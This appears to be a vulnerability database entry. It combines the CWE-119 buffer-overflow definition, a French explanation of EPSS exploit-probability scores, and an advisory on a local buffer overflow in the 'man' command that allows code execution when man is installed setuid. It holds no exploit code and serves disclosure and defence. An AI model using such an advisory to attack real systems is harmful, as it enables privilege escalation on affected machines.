CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |

EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

The 'man' command is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation.
NOTE: Presumably, this issue is exploitable only when 'man' has been installed setuid.
Exploiting this issue allows attackers to execute malicious machine code with the privileges of the 'man' utility. This can result in the compromise of affected computers. Failed exploit attempts will likely result in denial-of-service conditions.
